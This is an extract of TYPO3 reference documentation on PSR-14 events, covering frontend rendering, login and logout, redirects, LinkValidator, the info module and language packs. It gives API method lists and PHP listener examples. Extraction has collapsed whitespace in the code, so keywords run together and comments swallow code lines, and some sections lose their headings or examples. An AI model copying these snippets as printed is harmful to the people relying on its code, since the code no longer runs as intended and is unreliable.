$GLOBALS['TYPO3_CONF_VARS']['SC_OPTIONS']['tslib/class.tslib_content.php']['stdWrap'] .
The PSR-14 event
\TYPO3\CMS\Frontend\ContentObject\Event\BeforeStdWrapFunctionsExecutedEvent
is called directly after the recursive stdWrap function
call, but still before the content gets modified.
This event is one of the more powerful replacements for the removed hook
$GLOBALS['TYPO3_CONF_VARS']['SC_OPTIONS']['tslib/class.tslib_content.php']['stdWrap'] .
The PSR-14 event
\TYPO3\CMS\Frontend\ContentObject\Event\BeforeStdWrapFunctionsInitializedEvent
is dispatched before any stdWrap function is initialized/called.
This event is one of the more powerful replacements for the removed hook
$GLOBALS['TYPO3_CONF_VARS']['SC_OPTIONS']['tslib/class.tslib_content.php']['stdWrap'] .
Listeners to the PSR-14 event
\TYPO3\CMS\Frontend\ContentObject\Event\EnhanceStdWrapEvent are able to
modify the stdWrap processing, enhancing the
functionality and manipulating the final result/content. This is the parent
event, which allows the corresponding listeners to be called on each step.
Listeners to this Event are able to modify the stdWrap processing, enhancing the functionality and
manipulating the final result / content. This is the parent Event, which allows the corresponding
listeners to be called on each step, see child Events:
This event is fired after TYPO3 has filtered all menu items. The menu can then
be adjusted by adding, removing or modifying the menu items. Also changing the
order is possible.
Additionally, more information about the currently rendered menu, such as
the menu items which were filtered out, is available.
Example
Note
Currently, we do not have an example for this event. If you can provide a
useful one, please open an issue with your code snippets or
a pull request.
API
classFilterMenuItemsEvent
Fully qualified name
\TYPO3\CMS\Frontend\Event\FilterMenuItemsEvent
Listeners to this Event will be able to modify items for a menu generated with HMENU
getAllMenuItems()
Returns
array
getFilteredMenuItems()
Returns
array
setFilteredMenuItems(array $filteredMenuItems)
param $filteredMenuItems
the filteredMenuItems
getMenuConfiguration()
Returns
array
getItemConfiguration()
Returns
array
getBannedMenuItems()
Returns
array
getExcludedDoktypes()
Returns
array
getSite()
Returns
\TYPO3\CMS\Core\Site\Entity\Site
getContext()
Returns
\TYPO3\CMS\Core\Context\Context
getCurrentPage()
Returns
array
ModifyCacheLifetimeForPageEvent
This event allows to modify the lifetime of how long a rendered page of a
frontend call should be stored in the "pages" cache.
Example
The following listener limits the cache lifetime to 30 seconds in development
context:
<?phpdeclare(strict_types=1);
namespaceMyVendor\MyExtension\Frontend\EventListener;
useTYPO3\CMS\Core\Attribute\AsEventListener;
useTYPO3\CMS\Core\Core\Environment;
useTYPO3\CMS\Frontend\Event\ModifyCacheLifetimeForPageEvent;
#[AsEventListener(
identifier: 'my-extension/cache-timeout',
)]
final readonly classMyEventListener{
publicfunction__invoke(ModifyCacheLifetimeForPageEvent $event): void{
// Only cache all pages for 30 seconds when in development contextif (Environment::getContext()->isDevelopment()) {
$event->setCacheLifetime(30);
}
}
}
Copied!
New in version 13.0
The PHP attribute
\TYPO3\CMS\Core\Attribute\AsEventListener has been
introduced to tag a PHP class as an event listener. Alternatively, or if you
need to be compatible with older TYPO3 versions, you can also register an
event listener via the Configuration/Services.yaml file. Switch to
an older version of this page for an example or have a look at the section
Implementing an event listener in your extension.
Event to allow listeners to modify the amount of seconds that a generated frontend page
should be cached in the "pages" cache when initially generated.
setCacheLifetime(int $cacheLifetime)
param $cacheLifetime
the cacheLifetime
getCacheLifetime()
Returns
int
getPageId()
Returns
int
getPageRecord()
Returns
array
getRenderingInstructions()
Returns
array
getContext()
Returns
\TYPO3\CMS\Core\Context\Context
ModifyHrefLangTagsEvent
The PSR-14 event
\TYPO3\CMS\Frontend\Event\ModifyHrefLangTagsEvent is available to alter
the
hreflang tags just before they get rendered.
The class
\TYPO3\CMS\Seo\HrefLang\HrefLangGenerator (identifier
typo3-seo/hreflangGenerator) is also available as an event. Its purpose
is to provide the default
hreflang tags. This way it is possible to
register a custom event listener after or instead of this implementation.
Example
With
after and
before, you can make sure your own listener is
executed after or before the given identifiers.
<?phpdeclare(strict_types=1);
namespaceMyVendor\MyExtension\Frontend\EventListener;
useTYPO3\CMS\Core\Attribute\AsEventListener;
useTYPO3\CMS\Frontend\Event\ModifyHrefLangTagsEvent;
#[AsEventListener(
identifier: 'my-extension/cache-timeout',
after: 'typo3-seo/hreflangGenerator',
)]
final readonly classMyEventListener{
publicfunction__invoke(ModifyHrefLangTagsEvent $event): void{
$hrefLangs = $event->getHrefLangs();
$request = $event->getRequest();
// Do anything you want with $hrefLangs
$hrefLangs = [
'en-US' => 'https://example.org',
'nl-NL' => 'https://example.org/nl',
];
// Override all hrefLang tags
$event->setHrefLangs($hrefLangs);
// Or add a single hrefLang tag
$event->addHrefLang('de-DE', 'https://example.org/de');
}
}
Copied!
New in version 13.0
The PHP attribute
\TYPO3\CMS\Core\Attribute\AsEventListener has been
introduced to tag a PHP class as an event listener. Alternatively, or if you
need to be compatible with older TYPO3 versions, you can also register an
event listener via the Configuration/Services.yaml file. Switch to
an older version of this page for an example or have a look at the section
Implementing an event listener in your extension.
API
classModifyHrefLangTagsEvent
Fully qualified name
\TYPO3\CMS\Frontend\Event\ModifyHrefLangTagsEvent
Listeners to this event will be able to modify the hreflang tags that will be generated. You can use this when you
have an edge case language scenario and need to alter the default hreflang tags.
getHrefLangs()
Returns
array
getRequest()
Returns
\Psr\Http\Message\ServerRequestInterface
setHrefLangs(array $hrefLangs)
Set the hreflangs. This should be an array in format:
This event serves as a drop-in replacement for the removed hook
$GLOBALS['TYPO3_CONF_VARS']['SC_OPTIONS']['tslib/class.tslib_content.php']['getImageSourceCollection'] .
The PSR-14 event
\TYPO3\CMS\Frontend\ContentObject\Event\ModifyImageSourceCollectionEvent
is being dispatched in
ContentObjectRenderer->getImageSourceCollection()
for each configured
sourceCollection and allows to enrich the final
source collection result.
The PSR-14 event
\TYPO3\CMS\Frontend\Event\ModifyPageLinkConfigurationEvent
is called after a page has been resolved, and includes arguments such as the
generated fragment and the to-be-used query parameters.
The page to be linked to can also be modified to link to a different page.
<?phpdeclare(strict_types=1);
namespaceMyVendor\MyExtension\Frontend\EventListener;
useTYPO3\CMS\Core\Attribute\AsEventListener;
useTYPO3\CMS\Frontend\Event\ModifyPageLinkConfigurationEvent;
#[AsEventListener(
identifier: 'my-extension/modify-page-link-configuration',
)]
final readonly classMyEventListener{
publicfunction__invoke(ModifyPageLinkConfigurationEvent $event): void{
// Do your magic here
}
}
Copied!
New in version 13.0
The PHP attribute
\TYPO3\CMS\Core\Attribute\AsEventListener has been
introduced to tag a PHP class as an event listener. Alternatively, or if you
need to be compatible with older TYPO3 versions, you can also register an
event listener via the Configuration/Services.yaml file. Switch to
an older version of this page for an example or have a look at the section
Implementing an event listener in your extension.
A generic PSR 14 Event to allow modifying the incoming (and resolved) page when building a "page link".
This event allows Event Listener to change the page to be linked to, or add/remove possible query
parameters / fragments to be generated.
getConfiguration()
Returns
array
setConfiguration(array $configuration)
param $configuration
the configuration
getLinkDetails()
Returns
array
getPage()
Returns
array
setPage(array $page)
param $page
the page
getQueryParameters()
Returns
array
setQueryParameters(array $queryParameters)
param $queryParameters
the queryParameters
getFragment()
Returns
string
setFragment(string $fragment)
param $fragment
the fragment
pageWasModified()
Returns
bool
ModifyRecordsAfterFetchingContentEvent
New in version 13.0
This event serves as a more powerful replacement for the removed
$GLOBALS['TYPO3_CONF_VARS']['SC_OPTIONS']['tslib/class.tslib_content_content.php']['modifyDBRow']
hook.
The PSR-14 event
\TYPO3\CMS\Frontend\ContentObject\Event\ModifyRecordsAfterFetchingContentEvent
allows to modify the fetched records next to the possibility to manipulate most
of the options, such as slide. Listeners are also able to set the final
content and change the whole TypoScript configuration, used for further
processing.
Event which is fired after ContentContentObject has pulled records from database.
Therefore, allows listeners to completely manipulate the fetched
records, prior to being further processed by the content object.
Additionally, the event also allows to manipulate the configuration
and options, such as the "value" or "slide".
getRecords()
Returns
array
setRecords(array $records)
param $records
the records
getFinalContent()
Returns
string
setFinalContent(string $finalContent)
param $finalContent
the finalContent
getSlide()
Returns
int
setSlide(int $slide)
param $slide
the slide
getSlideCollect()
Returns
int
setSlideCollect(int $slideCollect)
param $slideCollect
the slideCollect
getSlideCollectReverse()
Returns
bool
setSlideCollectReverse(bool $slideCollectReverse)
param $slideCollectReverse
the slideCollectReverse
getSlideCollectFuzzy()
Returns
bool
setSlideCollectFuzzy(bool $slideCollectFuzzy)
param $slideCollectFuzzy
the slideCollectFuzzy
getConfiguration()
Returns
array
setConfiguration(array $configuration)
param $configuration
the configuration
ModifyResolvedFrontendGroupsEvent
The PSR-14 event
\TYPO3\CMS\Frontend\Authentication\ModifyResolvedFrontendGroupsEvent
event allows frontend groups to be added to a (frontend) request, regardless of
whether a user is logged in or not.
Example
Note
Currently, we do not have an example for this event. If you can provide a
useful one, please open an issue with your code snippets or
a pull request.
This event has been introduced to serve as a direct replacement for the removed
$GLOBALS['TYPO3_CONF_VARS']['SC_OPTIONS']['tslib/class.tslib_fe.php']['configArrayPostProc']
hook.
The PSR-14 event
\TYPO3\CMS\Frontend\Event\ModifyTypoScriptConfigEvent
allows listeners to adjust and react on TypoScript config.
This event is dispatched before final TypoScript
config is
written to the cache, and not when a page can be successfully retrieved from
the cache, which is typically the case in "page is fully cached" scenarios.
This incoming
$configTree has already been merged with the determined
PAGE
page.config TypoScript of the requested
type /
typeNum and the global TypoScript setup
config.
Registered listeners can set a modified setup config
AST. Note the TypoScript AST structure is
still marked internal within TYPO3 v13 and may change later, using the
event to write different
config data is thus still a bit
risky.
Example
Note
Currently, we do not have an example for this event. If you can provide a
useful one, please open an issue with your code snippets or
a pull request.
This event allows listeners to adjust and react on TypoScript 'config'.
This event is dispatched before final TypoScript 'config' is written to cache, and
not when a page can be successfully retrieved from cache, which is typically
the case in 'page is fully cached' scenarios.
This incoming $configTree has already been merged with the determined
PAGE "page.config" TypoScript of the requested 'type' / 'typeNum' and the global
TypoScript setup 'config'.
The result of this event is available as Request attribute:
$request->getAttribute('frontend.typoscript')->getConfigTree(),
and its array variant $request->getAttribute('frontend.typoscript')->getConfigArray().
Registered listener can set a modified setup config AST. Note the TypoScript AST
structure is still marked @internal within v13 core and may change later,
using the event to write different 'config' data is thus still a bit risky.
The PSR-14 event
\TYPO3\CMS\Frontend\Event\ShouldUseCachedPageDataIfAvailableEvent
allows TYPO3 extensions to register event listeners to modify if a
page should be read from cache (if it has been created in store already), or
if it should be re-built completely ignoring the cache entry for the request.
This event can be used to avoid loading from the cache when indexing via
CLI happens from an external source, or if the cache should be ignored when
logged in from a certain IP address.
The PHP attribute
\TYPO3\CMS\Core\Attribute\AsEventListener has been
introduced to tag a PHP class as an event listener. Alternatively, or if you
need to be compatible with older TYPO3 versions, you can also register an
event listener via the Configuration/Services.yaml file. Switch to
an older version of this page for an example or have a look at the section
Implementing an event listener in your extension.
Notification before a redirect is made, which also allows to modify
the actual redirect URL. Setting the redirect to an empty string
will avoid triggering a redirect.
getLoginType()
Returns
string
getRedirectUrl()
Returns
string
setRedirectUrl(string $redirectUrl)
param $redirectUrl
the redirectUrl
getRequest()
Returns
\Psr\Http\Message\ServerRequestInterface
LoginConfirmedEvent
The PSR-14 event
\TYPO3\CMS\FrontendLogin\Event\LoginConfirmedEvent is
triggered when a login was successful.
Changed in version 14.0
This event is now correctly dispatched, when a
logout redirect is configured. Previously the now removed actionUri was used as target
for the logout form action, in which case the LogoutConfirmedEvent was not triggered on logout.
Example
Note
Currently, we do not have an example for this event. If you can provide a
useful one, please open an issue with your code snippets or
a pull request.
A notification when a log in has successfully arrived at the plugin, via the view and the controller, multiple
information can be overridden in Event Listeners.
A notification if something went wrong while trying to log in a user.
getRequest()
Returns
\Psr\Http\Message\ServerRequestInterface
LogoutConfirmedEvent
The PSR-14 event
\TYPO3\CMS\FrontendLogin\Event\LogoutConfirmedEvent is
triggered when a logout was successful.
Example: Delete stored private key from disk on logout
Upon logout a private key the user uploaded for decryption of private
information should be deleted at once. There is only a logout event if the user
actively clicks the logout button, so if the user would just close the browser
window there would be no
LogoutConfirmedEvent. For this case we need
a second line of defense like a scheduler task (out of scope of this example).
The currently logged-in user derived from the
\TYPO3\CMS\Core\Context\Context
is now an anonymous user that is not logged in. The information on which user
just logged out cannot be determined from the context or the methods from the
event. We therefore need different logic to determine the user who just logged
out. This logic is not part of the example below.
<?phpdeclare(strict_types=1);
namespaceMyVendor\MyExtension\EventListener;
useMyVendor\MyExtension\KeyPairHandling\KeyFileService;
useTYPO3\CMS\Core\Attribute\AsEventListener;
useTYPO3\CMS\Core\Context\Context;
useTYPO3\CMS\Core\Context\UserAspect;
useTYPO3\CMS\Core\Type\ContextualFeedbackSeverity;
useTYPO3\CMS\FrontendLogin\Event\LogoutConfirmedEvent;
#[AsEventListener(
identifier: 'my-extension/delete-private-key-on-logout',
)]
final readonly classLogoutEventListener{
publicfunction__construct(
private KeyFileService $keyFileService,
private Context $context,
){}
publicfunction__invoke(LogoutConfirmedEvent $event): void{
$userAspect = $this->context->getAspect('frontend.user');
assert($userAspect instanceof UserAspect);
if ($this->keyFileService->deletePrivateKey($userAspect)) {
$event->getController()->addFlashMessage('Your private key has been deleted. ', '', ContextualFeedbackSeverity::NOTICE);
} else {
$event->getController()->addFlashMessage('Deletion of your private key failed. It will be deleted automatically within 15 minutes by a scheduler task. ', '', ContextualFeedbackSeverity::WARNING);
}
}
}
Copied!
New in version 13.0
The PHP attribute
\TYPO3\CMS\Core\Attribute\AsEventListener has been
introduced to tag a PHP class as an event listener. Alternatively, or if you
need to be compatible with older TYPO3 versions, you can also register an
event listener via the Configuration/Services.yaml file. Switch to
an older version of this page for an example or have a look at the section
Implementing an event listener in your extension.
A notification when a log out has successfully arrived at the plugin, via the view and the controller, multiple
information can be overridden in Event Listeners.
Allows to inject custom variables into the login form.
getView()
Returns
\TYPO3\CMS\Core\View\ViewInterface
getRequest()
Returns
\Psr\Http\Message\ServerRequestInterface
ModifyRedirectUrlValidationResultEvent
New in version 13.2
With this event developers have the possibility to modify the validation
results for the redirect URL, allowing redirects to URLs not matching the
existing validation constraints.
The PSR-14 event
\TYPO3\CMS\FrontendLogin\Event\ModifyRedirectUrlValidationResultEvent
provides developers with the possibility and flexibility to implement custom
validation for the redirect URL in the frontend login.
This may be useful, if TYPO3 frontend login
acts as an SSO system, or if users should be redirected to an external URL after
login.
Example: Validate that the redirect after frontend login goes to a trusted domain
The PHP attribute
\TYPO3\CMS\Core\Attribute\AsEventListener has been
introduced to tag a PHP class as an event listener. Alternatively, or if you
need to be compatible with older TYPO3 versions, you can also register an
event listener via the Configuration/Services.yaml file. Switch to
an older version of this page for an example or have a look at the section
Implementing an event listener in your extension.
Allows to modify the result of the redirect URL validation (e.g. allow redirect to specific external URLs).
getRedirectUrl()
Returns
string
getValidationResult()
Returns
bool
setValidationResult(bool $validationResult)
param $validationResult
the validationResult
getRequest()
Returns
\Psr\Http\Message\ServerRequestInterface
PasswordChangeEvent
The PSR-14 event
\TYPO3\CMS\FrontendLogin\Event\PasswordChangeEvent
contains information about the password that has been set and will be
stored in the database shortly.
Note
You can find a basic example implementation of a listener to this event
in the chapter Listen to an event.
Example
Note
Currently, we do not have an example for this event. If you can provide a
useful one, please open an issue with your code snippets or
a pull request.
Informal event that contains information about the password which was set, and is about to be stored in the database.
getUser()
Returns
array
getHashedPassword()
Returns
string
getRawPassword()
Returns
string
getRequest()
Returns
\Psr\Http\Message\ServerRequestInterface
SendRecoveryEmailEvent
The PSR-14 event
\TYPO3\CMS\FrontendLogin\Event\SendRecoveryEmailEvent
contains the email to be sent and additional information about the user who
requested a new password.
Hint
Before TYPO3 v13, only the variables
{receiverName},
{url}
and
{validUntil} are available in the Fluid template of the password
recovery email. If more user-related data was required in the recovery email,
integrators had to use this PSR-14 event to add additional variables to the
email object.
Since TYPO3 v13, a new array variable
{userData} is available in
the password recovery
FluidEmail object. It contains the values of
all fields belonging to the affected frontend user. Therefore, for this
use case, this event is not needed anymore.
Example
Note
Currently, we do not have an example for this event. If you can provide a
useful one, please open an issue with your code snippets or
a pull request.
This event was added as a replacement for the removed hook
$GLOBALS['TYPO3_CONF_VARS']['EXTCONF']['indexed_search']['pi1_hooks'].
The PSR-14
\TYPO3\CMS\IndexedSearch\Event\BeforeFinalSearchQueryIsExecutedEvent
has been introduced which allows developers to manipulate the (internal)
\TYPO3\CMS\Core\Database\Query\QueryBuilder
instance, just before the query gets executed.
Important
The provided query (the
\TYPO3\CMS\Core\Database\Query\QueryBuilder
instance) is controlled by the
TYPO3 Core and is not considered public API. Therefore, developers using this
event need to keep track of underlying changes by TYPO3. Such changes might
be further performance improvements to the query or changes to the
database schema in general.
Example
Changing the host of the current request and setting it as canonical:
The PSR-14 event
\TYPO3\CMS\Info\Controller\Event\ModifyInfoModuleContentEvent
allows the content above and below the info module to be modified. The content
added in the event is displayed in each submodule of Web > Info.
The event also provides the
getCurrentModule() method, which
returns the current requested submodule. It is therefore possible to
limit the added content to a subset of the available submodules.
Next to
getRequest() and the
getModuleTemplate()
methods this event also features getters and setters for the header
and footer content.
Access control
The added content is by default always displayed. This event
provides the
hasAccess() method, returning whether the access checks
in the module were passed by the user.
This way, event listeners can decide on their own, whether their content
should always be shown, or only if a user also has access to the main module
content.
<?phpdeclare(strict_types=1);
namespaceMyVendor\MyExtension\Info\EventListener;
useTYPO3\CMS\Core\Attribute\AsEventListener;
useTYPO3\CMS\Info\Controller\Event\ModifyInfoModuleContentEvent;
#[AsEventListener(
identifier: 'my-extension/content-to-info-module',
)]
final readonly classMyEventListener{
publicfunction__invoke(ModifyInfoModuleContentEvent $event): void{
// Add header content for the "Localization overview" submodule,// if user has access to module contentif (
$event->hasAccess() &&
$event->getCurrentModule()->getIdentifier() === 'web_info_translations'
) {
$event->addHeaderContent('<h3>Additional header content</h3>');
}
}
}
Copied!
New in version 13.0
The PHP attribute
\TYPO3\CMS\Core\Attribute\AsEventListener has been
introduced to tag a PHP class as an event listener. Alternatively, or if you
need to be compatible with older TYPO3 versions, you can also register an
event listener via the Configuration/Services.yaml file. Switch to
an older version of this page for an example or have a look at the section
Implementing an event listener in your extension.
Listeners to this Event will be able to modify the header and footer content of the info module
hasAccess()
Whether the current user has access to the main content of the info module.
IMPORTANT: This is only for informational purposes. Listeners can therefore
decide on their own if their content should be added to the module even if
the user does not have access to the main module content.
Returns
bool
getRequest()
Returns
\Psr\Http\Message\ServerRequestInterface
getCurrentModule()
Returns
\TYPO3\CMS\Backend\Module\ModuleInterface
getModuleTemplate()
Returns
\TYPO3\CMS\Backend\Template\ModuleTemplate
setHeaderContent(string $content)
Set content for the header. Can also be used to e.g. reorder existing content.
IMPORTANT: This overwrites existing content from previous listeners!
param $content
the content
addHeaderContent(string $content)
Add additional content to the header
param $content
the content
getHeaderContent()
Returns
string
setFooterContent(string $content)
Set content for the footer. Can also be used to e.g. reorder existing content.
IMPORTANT: This overwrites existing content from previous listeners!
param $content
the content
addFooterContent(string $content)
Add additional content to the footer
param $content
the content
getFooterContent()
Returns
string
Install
The following list contains PSR-14 events
in the TYPO3 Core .
The PHP attribute
\TYPO3\CMS\Core\Attribute\AsEventListener has been
introduced to tag a PHP class as an event listener. Alternatively, or if you
need to be compatible with older TYPO3 versions, you can also register an
event listener via the Configuration/Services.yaml file. Switch to
an older version of this page for an example or have a look at the section
Implementing an event listener in your extension.
The PSR-14 event
\TYPO3\CMS\Install\Service\Event\ModifyLanguagePacksEvent
allows to ignore extensions or individual language packs for extensions when
downloading language packs.
The options of the
language:update command can be used to further
restrict the download (ignore additional extensions or download only certain
languages), but not to ignore decisions made by the event.
<?phpdeclare(strict_types=1);
namespaceMyVendor\MyExtension\Install\EventListener;
useTYPO3\CMS\Core\Attribute\AsEventListener;
useTYPO3\CMS\Install\Service\Event\ModifyLanguagePacksEvent;
#[AsEventListener(
identifier: 'my-extension/modify-language-packs',
)]
final readonly classMyEventListener{
publicfunction__invoke(ModifyLanguagePacksEvent $event): void{
$extensions = $event->getExtensions();
foreach ($extensions as $key => $extension) {
// Do not download language packs from Core extensionsif ($extension['type'] === 'typo3-cms-framework') {
$event->removeExtension($key);
}
}
// Remove German language pack from EXT:styleguide
$event->removeIsoFromExtension('de', 'styleguide');
}
}
Copied!
New in version 13.0
The PHP attribute
\TYPO3\CMS\Core\Attribute\AsEventListener has been
introduced to tag a PHP class as an event listener. Alternatively, or if you
need to be compatible with older TYPO3 versions, you can also register an
event listener via the Configuration/Services.yaml file. Switch to
an older version of this page for an example or have a look at the section
Implementing an event listener in your extension.
The PSR-14 event
\TYPO3\CMS\Linkvalidator\Event\BeforeRecordIsAnalyzedEvent
allows to modify results (= add results) or modify the record
before LinkValidator analyzes the record.
Example
In this example we are checking if there are external links containing the URL
of the project itself, as editors tend to set external links on internal pages
at times.
Create a class that works as event listener. This class does not implement or
extend any class. It has to provide a method that accepts an event of type
\TYPO3\CMS\Linkvalidator\Event\BeforeRecordIsAnalyzedEvent . By default,
the method is called
__invoke:
Class T3docs\Examples\EventListener\LinkValidator\CheckExternalLinksToLocalPagesEventListener
The listener must then be registered in the extensions
Services.yaml:
EXT:examples/Configuration/Services.yaml
services:# Place here the default dependency injection configurationT3docs\Examples\EventListener\LinkValidator\CheckExternalLinksToLocalPagesEventListener:tags:-name:event.listeneridentifier:'txExampleCheckExternalLinksToLocalPages'
For the implementation we need the
\TYPO3\CMS\Linkvalidator\Repository\BrokenLinkRepository to register
additional link errors and the
\TYPO3\CMS\Core\DataHandling\SoftReference\SoftReferenceParserFactory so
we can automatically parse for links. These two classes have to be injected via
dependency injection:
Class T3docs\Examples\EventListener\LinkValidator\CheckExternalLinksToLocalPagesEventListener
Now we use the
SoftReferenceParserFactory to find all registered link
parsers for a soft reference. Then we apply each of these parsers in turn to
the configured field in the current record. For each link found we can now
match, if it is an external link to an internal page.
Class T3docs\Examples\EventListener\LinkValidator\CheckExternalLinksToLocalPagesEventListener
If the URL found in the matching is external and contains the local domain name
we add an entry to the
BrokenLinkRepository and to the result set of
BeforeRecordIsAnalyzedEvent.
Class T3docs\Examples\EventListener\LinkValidator\CheckExternalLinksToLocalPagesEventListener
The
BrokenLinkRepository is not an Extbase repository but a repository
based on the Doctrine database abstraction (DBAL).
Therefore, it expects an array with the names of the table fields as argument
and not an Extbase model. The method internally uses
\TYPO3\CMS\Core\Database\Connection::insert.
This method automatically quotes all identifiers and values, therefore we do not
need to worry about escaping here.
Tip
It is recommended to always use a unique error number. An easy way to ensure
the error number to be unique is to use the current Unix timestamp of the
time of writing the code.
Event that is fired to modify results (= add results) or modify the record before the linkanalyzer analyzes
the record.
getTableName()
Returns
string
getRecord()
Returns
array
setRecord(array $record)
param $record
the record
getFields()
Returns
array
getResults()
Returns
array
setResults(array $results)
param $results
the results
getLinkAnalyzer()
Returns
\TYPO3\CMS\Linkvalidator\LinkAnalyzer
ModifyValidatorTaskEmailEvent
The PSR-14 event
\TYPO3\CMS\Linkvalidator\Event\ModifyValidatorTaskEmailEvent
can be used to manipulate the
\TYPO3\CMS\Linkvalidator\Result\LinkAnalyzerResult ,
which contains all information from the linkvalidator API. Also the
FluidEmail object can be adjusted there. This allows
to pass additional information to the view by using
$fluidEmail->assign()
or dynamically adding mail information such as the receivers list. The added
values in the event take precedence over the
modTSconfig
configuration. The event contains the full
modTSconfig
to access further information about the actual configuration of the task when
assigning new values to FluidEmail.
Note
As it is possible to set the recipient addresses dynamically using
this event, the email field in the task configuration can remain empty but
will be added, if defined, on top of already defined recipients from the
event. All other values such as subject, from or replyTo will only be
set according to
modTSconfig, if not already defined through
the event.
The PHP attribute
\TYPO3\CMS\Core\Attribute\AsEventListener has been
introduced to tag a PHP class as an event listener. Alternatively, or if you
need to be compatible with older TYPO3 versions, you can also register an
event listener via the Configuration/Services.yaml file. Switch to
an older version of this page for an example or have a look at the section
Implementing an event listener in your extension.
The
\TYPO3\CMS\Linkvalidator\Result\LinkAnalyzerResult contains the
following information by default:
$oldBrokenLinkCounts
Amount of broken links from the last run, separated by type
(for example: all, internal)
$newBrokenLinkCounts
Amount of broken links from this run, separated by type
(for example: all, internal)
$brokenLinks
List of broken links with the raw database row
$differentToLastResult
Whether the broken links count changed
The
brokenLinks property gets further processed internally to provide
additional information for the email. Following additional information is
provided by default:
full_record
The full record, the broken link was found in
(for example:
pages or
tt_content)
record_title
Value of the
full_record title field
record_type
The title of the record type (for example: "Page" or "Page Content")
language_code
The language code of the broken link
real_pid
The real page ID of the record the broken link was found in
page_record
The whole page row of records parent page
More can be added using this PSR-14 event.
Additionally to the already existing content, the email now includes a list of
all broken links fetched according to the task configuration. This list consists
of following columns:
Record
The
record_uid and
record_title
Language
The
language_code and language ID
Page
The
real_pid and
page_record.title of the parent page
Record Type
The
record_type
Link Target
The
target
Link Type
Type of the broken link (either internal, external or file)
The PSR-14 event
\TYPO3\CMS\Lowlevel\Event\ModifyBlindedConfigurationOptionsEvent
is fired in the
\TYPO3\CMS\Lowlevel\ConfigurationModuleProvider\GlobalVariableProvider
and the
\TYPO3\CMS\Lowlevel\ConfigurationModuleProvider\SitesYamlConfigurationProvider
while building the configuration array to be displayed in the
System > Configuration module. It allows to blind (hide) any
configuration options. Usually such options are passwords or other sensitive
information.
Using the
getProviderIdentifier() method of the event, listeners are able
to determine the context the event got dispatched in. This is useful to prevent
duplicate code execution, since the event is dispatched for multiple providers.
The method returns the identifier of the configuration provider as registered
in the configuration module.
The PHP attribute
\TYPO3\CMS\Core\Attribute\AsEventListener has been
introduced to tag a PHP class as an event listener. Alternatively, or if you
need to be compatible with older TYPO3 versions, you can also register an
event listener via the Configuration/Services.yaml file. Switch to
an older version of this page for an example or have a look at the section
Implementing an event listener in your extension.
The PSR-14 event
\TYPO3\CMS\Redirects\Event\AfterAutoCreateRedirectHasBeenPersistedEvent
allows extensions to react on persisted auto-created redirects. This event
can be used to call external APIs or perform other tasks based on the real
persisted redirects.
Note
To handle later updates or react on manually created redirects in the backend
module, available hooks of
\TYPO3\CMS\Core\DataHandling\DataHandler
can be used.
<?phpdeclare(strict_types=1);
namespaceMyVendor\MyExtension\Redirects\EventListener;
useTYPO3\CMS\Core\Attribute\AsEventListener;
useTYPO3\CMS\Redirects\Event\AfterAutoCreateRedirectHasBeenPersistedEvent;
useTYPO3\CMS\Redirects\RedirectUpdate\PlainSlugReplacementRedirectSource;
#[AsEventListener(
identifier: 'my-extension/after-auto-create-redirect-has-been-persisted',
)]
final readonly classMyEventListener{
publicfunction__invoke(AfterAutoCreateRedirectHasBeenPersistedEvent $event): void{
$redirectUid = $event->getRedirectRecord()['uid'] ?? null;
if ($redirectUid === null
&& !($event->getSource() instanceof PlainSlugReplacementRedirectSource)
) {
return;
}
// Implement code what should be done with this information. For example,// write to another table, call a REST API or similar. Find your// use case.
}
}
Copied!
New in version 13.0
The PHP attribute
\TYPO3\CMS\Core\Attribute\AsEventListener has been
introduced to tag a PHP class as an event listener. Alternatively, or if you
need to be compatible with older TYPO3 versions, you can also register an
event listener via the Configuration/Services.yaml file. Switch to
an older version of this page for an example or have a look at the section
Implementing an event listener in your extension.
This event is fired in the TYPO3CMSRedirectsServiceSlugService after
a redirect record has been automatically created and persisted after page
slug change. It's mainly a pure notification event.
It can be used to update redirects external in a load-balancer directly for
example, or doing some kind of synchronization.
The PSR-14 event
\TYPO3\CMS\Redirects\Event\AfterPageUrlsForSiteForRedirectIntegrityHaveBeenCollectedEvent
allows TYPO3 Extensions to register event listeners to modify
the list of URLs that are being processed by the CLI command
redirects:checkintegrity.
Example
The event listener class, using the PHP attribute
#[AsEventListener] for
registration, adds the URLs found in a sites XML sitemap to the list of URLs.
This event is fired in TYPO3CMSRedirectsServiceIntegrityService->getAllPageUrlsForSite() to
gather URLs of subpages for a given site.
getSite()
Returns
\TYPO3\CMS\Core\Site\Entity\Site
setPageUrls(array $pageUrls)
param $pageUrls
the pageUrls
getPageUrls()
Returns
array
BeforeRedirectMatchDomainEvent
The PSR-14 event
\TYPO3\CMS\Redirects\Event\BeforeRedirectMatchDomainEvent
allows extensions to implement a custom redirect matching upon the loaded
redirects or return the matched redirect record from other sources.
Note
The full
sys_redirect record must be set using the
setMatchedRedirect() method. Otherwise the Core code would fail
later, as it expects, for example, the uid of the record to set the
X-Redirect-By response header. Therefore, the
getMatchedRedirect()
method returns null or a full
sys_redirect record.
Note
The
BeforeRedirectMatchDomainEvent is dispatched before cached
redirects are retrieved. That means, that the event does not contain any
sys_redirect records. The internal redirect cache may vanish
eventually, if possible. Therefore, it is left out to avoid a longer bound
state to the event by properly deprecate it.
<?phpdeclare(strict_types=1);
namespaceMyVendor\MyExtension\Redirects\EventListener;
useTYPO3\CMS\Backend\Utility\BackendUtility;
useTYPO3\CMS\Core\Attribute\AsEventListener;
useTYPO3\CMS\Redirects\Event\BeforeRedirectMatchDomainEvent;
#[AsEventListener(
identifier: 'my-extension/before-redirect-match-domain',
)]
final readonly classMyEventListener{
publicfunction__invoke(BeforeRedirectMatchDomainEvent $event): void{
$matchedRedirectRecord = $this->customRedirectMatching($event);
if ($matchedRedirectRecord !== null) {
$event->setMatchedRedirect($matchedRedirectRecord);
}
}
privatefunctioncustomRedirectMatching(BeforeRedirectMatchDomainEvent $event): ?array{
// @todo Implement custom redirect record loading and matching. If// a redirect based on custom logic is determined, return the// :sql:`sys_redirect` tables conform redirect record.// Note: Below is simplified example code with no real value.
$record = BackendUtility::getRecord('sys_redirect', 123);
// Do custom matching logic against the record and return matched// record - if there is one.if ($record /* && custom condition against the record */) {
return $record;
}
// Return null to indicate that no matched redirect could be foundreturnnull;
}
}
Copied!
New in version 13.0
The PHP attribute
\TYPO3\CMS\Core\Attribute\AsEventListener has been
introduced to tag a PHP class as an event listener. Alternatively, or if you
need to be compatible with older TYPO3 versions, you can also register an
event listener via the Configuration/Services.yaml file. Switch to
an older version of this page for an example or have a look at the section
Implementing an event listener in your extension.
The PSR-14 event
